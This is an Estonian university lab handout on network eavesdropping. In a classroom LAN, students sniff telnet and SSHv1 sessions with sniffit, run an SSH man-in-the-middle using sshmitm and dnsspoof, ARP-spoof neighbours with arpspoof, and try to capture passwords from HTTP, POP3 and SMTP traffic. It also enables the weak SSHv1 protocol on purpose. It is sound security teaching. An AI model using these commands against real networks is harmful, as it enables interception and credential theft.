Võrguliikluse pealtkuulamine

Meeldetuletuseks

Konsooli käsuviip on kujul

<kasutajanimi>@<masina_nimi>:<jooksev_kataloog>[#|$]

kus viimane märk näitab, kelle õigustes sisestatav käsk käivitatakse:

  • # - root õigused
  • $ - tavakasutaja õigused (kõik peale root kasutaja)

Selles praktikumi juhendis on käsud värvilistes kastides, kus esimene märk (# või $) näitab, kelle õigustes tuleks seda käivitada, et vältida hilisemaid probleeme (a 'la tavakasutaja tahab muuta faili, mis loodi kogemata roodu õigustes). Näiteks (neid katsetama ei pea :)

# ifdown eth0
$ ip addr ls

Ettevalmistuseks

Rooduna:

# apt-get install telnetd sniffit tcpdump wireshark dsniff

Kontrollige, kas teil on olemas fail /etc/ssh/ssh_host_key ning kui ei ole, laske uus SSHv1 võti genereerida (ssh võtme parool jätke tühjaks!):

# ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key

Kontrollige, et failis /etc/ssh/sshd_config oleks read
Protocol 2,1
HostKey /etc/ssh/ssh_host_key

ning kui ei ole, redigeerige seda faili ning muutke Protocol-rida sobivaks ja lisage HostKey rida ning kui muutsite, siis andke ka käsk

# /etc/init.d/ssh restart

Sellega konfigureerite SSH serveri ka protokolli versiooni 1 toetama (sest meie pealtkuulamisprogramm oskab ainult SSH v1 kuulata).

Märkus. Kui SSH serveri restartimisel öeldakse nüüd, et võti on vigane, siis genereerige uus võti niimoodi:

# ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""

ja proovige SSH serverit uuesti käivitada.

Tekitage (rooduna) useradd abil oma masinasse kasutaja "test" ja pange talle passwd test abil parooliks testXX (kus XX on teie arvuti number).

Tehke kindlaks oma arvuti IP-aadress:

# ip addr ls

Teie IP-aadress on väljundis inet real enne /24 maski, 192.168.10.*

Pakettide pealtkuulamine

Tekitage (rooduna) kataloog 'sniffit', ja pange seal sees käima 'sniffit':

# mkdir sniffit
# cd sniffit
# sniffit -s meiemasinaIP

(või siseneva suuna logimiseks:)

# sniffit -t meiemasinaIP

Võtke teine terminal, telnettige naabermasinasse, testimaks telneti töötamist ja logige sisse kasutajana test:

$ telnet 192.168.10.Y

Andke mõned käsud, et need ära tunneksite, ja logige välja (exit).

Edasi krüptige liiklust: logige naabermasinasse ssh abil:

$ ssh test@192.168.10.Y

Andke samuti mõned käsud ja logige välja.

Pange sniffit kinni (Ctrl+C) ja uurige logifaile (less abil) - kas leiate enda sisestatud teksti? Uuritud logifailid võib rahulikult ära kustutada (rm ...).

SSH man-in-the-middle

Kontrollige, et saate SSH v1 abil naaberavutisse sisse logida:

$ ssh -1 test@192.168.10.Y

Moodustage 3-arvutised grupid: A - ohver, B - õige server, E - man-in-the middle.

E - paneb ssh serveri seisma:

# /etc/init.d/ssh stop

ja käivitab

# sshmitm -I B-IP-aadress

B - jälgib finger abil sisselogitud kasutajaid (mis masinast!). Kui käsku finger masinas pole, siis võib kasutada käsku who või finger masinasse paigaldada:

# apt-get install finger

A - tekitab faili hosts.dnsspoof sisuga (E on vastava masina IP viimane number ja praksXX on masina B nimi):
192.168.10.E praksXX.test.mt.ut.ee

ja käivitab dnsspoofi:

# /usr/sbin/dnsspoof -f hosts.dnsspoof udp port 53

Seejärel proovib teises aknas logida ssh'ga masinasse B (tõenäoliselt kaevatakse hosti võtme muutumise üle, lugege veateadet ning kustutage vajadusel fail /home/kasutaja/.ssh/known_hosts, et teatest vabaneda)

$ ssh -1 test@praksXX.test.mt.ut.ee

E - jälgib liiklust ja soovikorral sekkub.

Vahetage rolle (ssh uuesti käima, dnspoof seisma jne).

ARP spoofing

Lülitage sisse IP pakettide ruutimine ja välja rp_filter ning ICMP redirectide saatmine:

# echo "1" > /proc/sys/net/ipv4/ip_forward
# echo "0" > /proc/sys/net/ipv4/conf/eth0/rp_filter
# echo "0" > /proc/sys/net/ipv4/conf/eth0/send_redirects

Moodustage paarid: pealtkuulaja A ja ohver B. Pealtkuulaja käivitab:

# arpspoof 192.168.10.B

ja samaaegselt veel lisaks

# tcpdump -e host 192.168.10.B

Tüüpiline ARP tabel (näeb käsuga # arp -a)

praks07.test.mt.ut.ee (192.168.10.107) at 00:AA:BB:CC:DD:07 [ether] on eth0
praks08.test.mt.ut.ee (192.168.10.108) at 00:AA:BB:CC:DD:08 [ether] on eth0
praks09.test.mt.ut.ee (192.168.10.109) at 00:AA:BB:CC:DD:09 [ether] on eth0

Kaks ohvrit telnetivad omavahel (B1 <-> B2) - pealtkuulaja A1 peaks nägema nüüd oma ohvri B1 arvutisse suunduvaid pakette (kui ei näe, uuri selle ohvri paarilise arvuti arp tabelit), samuti näeb A2 ohvri B2 liiklust.

Proovige sniffit abil liiklust salvestada ja seda uurida.

# sniffit -t 192.168.10.Y

Vahetage pooli.

Arvestuseks

Kuulake sniffit -s ... (vt. eespool) abil enda arvutist tehtavaid veebipäringuid.

Praktikumi arvestuse saamiseks saatke oma praktikumi juhendaja meiliaadressile üks võrgust kuulatud HTTP päring koos kõigi päiseridadega (mitte vastus).

Katsetamiseks

Salvestage sniffiti abil veel erinevat sorti liiklust: HTTP (parooli all olev leht), HTTPS, POP3, SMTP (autentimisega) ning püüdke kindlaks teha parooli.

Praktikumi lõpp

Kustutage rooduna sniffit kataloog ja tekitatud failid:

# rm -rf /root/sniffit /root/hosts.dnsspoof

Sidebar
Page edit